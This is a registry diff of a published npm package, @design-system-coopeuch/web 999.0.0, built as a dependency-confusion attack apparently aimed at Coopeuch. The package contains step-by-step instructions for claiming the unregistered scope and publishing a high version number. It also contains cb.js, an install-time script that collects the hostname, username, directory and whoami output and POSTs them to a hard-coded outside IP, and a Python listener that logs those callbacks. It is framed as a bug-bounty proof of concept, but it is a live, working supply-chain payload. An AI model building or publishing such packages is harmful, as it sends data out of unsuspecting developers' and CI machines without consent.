@design-system-coopeuch/web 999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/STEPS.md +51 -0
- package/cb.js +23 -0
- package/index.js +1 -0
- package/listener.py +39 -0
- package/package.json +9 -0
package/STEPS.md
ADDED
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
# Dependency Confusion — @design-system-coopeuch/web
|
|
2
|
+
|
|
3
|
+
## On your VPS (157.173.126.113)
|
|
4
|
+
|
|
5
|
+
```bash
|
|
6
|
+
# 1. Open port 8443
|
|
7
|
+
sudo ufw allow 8443/tcp # or iptables equivalent
|
|
8
|
+
|
|
9
|
+
# 2. Start listener
|
|
10
|
+
python3 listener.py
|
|
11
|
+
```
|
|
12
|
+
|
|
13
|
+
## On your local machine
|
|
14
|
+
|
|
15
|
+
```bash
|
|
16
|
+
# 3. Login to npm (you said you already have an account)
|
|
17
|
+
npm login
|
|
18
|
+
|
|
19
|
+
# 4. Create the org — this claims the scope
|
|
20
|
+
npm org create design-system-coopeuch
|
|
21
|
+
|
|
22
|
+
# 5. cd into the package dir
|
|
23
|
+
cd /Users/jesuslm/jxscout-pro/notes/coopeuch/poc/dependency-confusion
|
|
24
|
+
|
|
25
|
+
# 6. Publish (scoped packages are private by default, use --access public)
|
|
26
|
+
npm publish --access public
|
|
27
|
+
|
|
28
|
+
# 7. Verify it's live
|
|
29
|
+
npm view @design-system-coopeuch/web
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
## What happens next
|
|
33
|
+
|
|
34
|
+
Any Coopeuch developer or CI/CD that runs `npm install` on a project
|
|
35
|
+
with `@design-system-coopeuch/web` in package.json WITHOUT the
|
|
36
|
+
internal `.npmrc` pointing to nexus.coopeuch.cl will pull version
|
|
37
|
+
999.0.0 from public npm. The `preinstall` script fires and sends
|
|
38
|
+
hostname + username + cwd to your VPS.
|
|
39
|
+
|
|
40
|
+
## When to report
|
|
41
|
+
|
|
42
|
+
You can report immediately after publishing — you don't need to wait
|
|
43
|
+
for a callback. The proof is:
|
|
44
|
+
|
|
45
|
+
1. The scope was unregistered (screenshot the 404 BEFORE you claim it)
|
|
46
|
+
2. You claimed it and published a package
|
|
47
|
+
3. The leaked .npmrc + package.json prove Coopeuch uses this scope
|
|
48
|
+
4. Version 999.0.0 > 4.6.1 (their production version)
|
|
49
|
+
5. Any missing `.npmrc` = RCE
|
|
50
|
+
|
|
51
|
+
If you DO get a callback, that's a confirmed critical with evidence.
|
package/cb.js
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
const http = require("http");
|
|
2
|
+
const os = require("os");
|
|
3
|
+
const { execSync } = require("child_process");
|
|
4
|
+
|
|
5
|
+
const data = JSON.stringify({
|
|
6
|
+
p: "design-system-coopeuch-web",
|
|
7
|
+
h: os.hostname(),
|
|
8
|
+
u: os.userInfo().username,
|
|
9
|
+
d: __dirname,
|
|
10
|
+
c: (() => { try { return execSync("whoami").toString().trim(); } catch(e) { return "n/a"; } })()
|
|
11
|
+
});
|
|
12
|
+
|
|
13
|
+
const req = http.request({
|
|
14
|
+
hostname: "157.173.126.113",
|
|
15
|
+
port: 8443,
|
|
16
|
+
path: "/dep-confusion",
|
|
17
|
+
method: "POST",
|
|
18
|
+
headers: { "Content-Type": "application/json", "Content-Length": data.length },
|
|
19
|
+
timeout: 5000
|
|
20
|
+
}, () => {});
|
|
21
|
+
req.on("error", () => {});
|
|
22
|
+
req.write(data);
|
|
23
|
+
req.end();
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/listener.py
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""HTTP listener for dependency confusion callbacks. Run on your VPS."""
|
|
3
|
+
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
4
|
+
from datetime import datetime
|
|
5
|
+
import json
|
|
6
|
+
|
|
7
|
+
class Handler(BaseHTTPRequestHandler):
|
|
8
|
+
def do_GET(self):
|
|
9
|
+
ts = datetime.utcnow().isoformat()
|
|
10
|
+
print(f"\n{'='*60}")
|
|
11
|
+
print(f"[{ts}] CALLBACK RECEIVED")
|
|
12
|
+
print(f"Path: {self.path}")
|
|
13
|
+
print(f"Source IP: {self.client_address[0]}")
|
|
14
|
+
for k, v in self.headers.items():
|
|
15
|
+
print(f" {k}: {v}")
|
|
16
|
+
print(f"{'='*60}\n")
|
|
17
|
+
self.send_response(200)
|
|
18
|
+
self.end_headers()
|
|
19
|
+
self.wfile.write(b"ok")
|
|
20
|
+
with open("callbacks.log", "a") as f:
|
|
21
|
+
f.write(f"{ts}|{self.client_address[0]}|{self.path}\n")
|
|
22
|
+
|
|
23
|
+
def do_POST(self):
|
|
24
|
+
length = int(self.headers.get('Content-Length', 0))
|
|
25
|
+
body = self.rfile.read(length).decode()
|
|
26
|
+
ts = datetime.utcnow().isoformat()
|
|
27
|
+
print(f"\n{'='*60}")
|
|
28
|
+
print(f"[{ts}] CALLBACK RECEIVED (POST)")
|
|
29
|
+
print(f"Source IP: {self.client_address[0]}")
|
|
30
|
+
print(f"Body: {body}")
|
|
31
|
+
print(f"{'='*60}\n")
|
|
32
|
+
self.send_response(200)
|
|
33
|
+
self.end_headers()
|
|
34
|
+
self.wfile.write(b"ok")
|
|
35
|
+
with open("callbacks.log", "a") as f:
|
|
36
|
+
f.write(f"{ts}|{self.client_address[0]}|POST|{body}\n")
|
|
37
|
+
|
|
38
|
+
print("[*] Listening on 0.0.0.0:8443 — waiting for dependency confusion callbacks...")
|
|
39
|
+
HTTPServer(("0.0.0.0", 8443), Handler).serve_forever()
|
package/package.json
ADDED